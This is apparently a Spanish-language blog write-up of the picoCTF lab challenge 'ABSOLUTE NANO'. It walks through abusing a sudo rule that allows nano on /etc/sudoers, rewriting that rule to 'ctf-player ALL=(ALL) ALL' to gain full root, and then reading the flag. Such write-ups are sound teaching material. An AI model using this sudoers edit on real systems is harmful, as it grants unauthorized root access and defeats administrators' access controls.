ABSOLUTE NANO writeup

Descripción

You have complete power with nano.

Think you can get the flag?

ABSOLUTE NANO solución

Lanzaremos la instancia y nos conectaremos a través de SSH:

ssh -p 57836 ctf-player@crystal-peak.picoctf.net

Si ejecutamos sudo -l podremos ver los comandos que podemos usar como sudo:

sudo -l

En este caso, podemos ejecutar /bin/nano como root, pero únicamente sobre /etc/sudoers.

/etc/sudoers es el archivo de Linux que permite diferenciar qué usuarios puede ejecutar qué comandos. Lo editaremos para modificar nuestros permisos, dado que ahora no podemos hacer ‘sudo nano flag.txt’:

Editaremos el archvo de sudoers:

sudo /bin/nano /etc/sudoers

Cambiaremos la siguiente línea:

ctf-player ALL=(ALL) NOPASSWD: /bin/nano /etc/sudoers

Por esta otra, que nos permitirá ejectar todos los comandos:

ctf-player ALL=(ALL) ALL

Ahora podremos abrir la flag:

sudo nano flag.txt

Completando así el CTF.

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *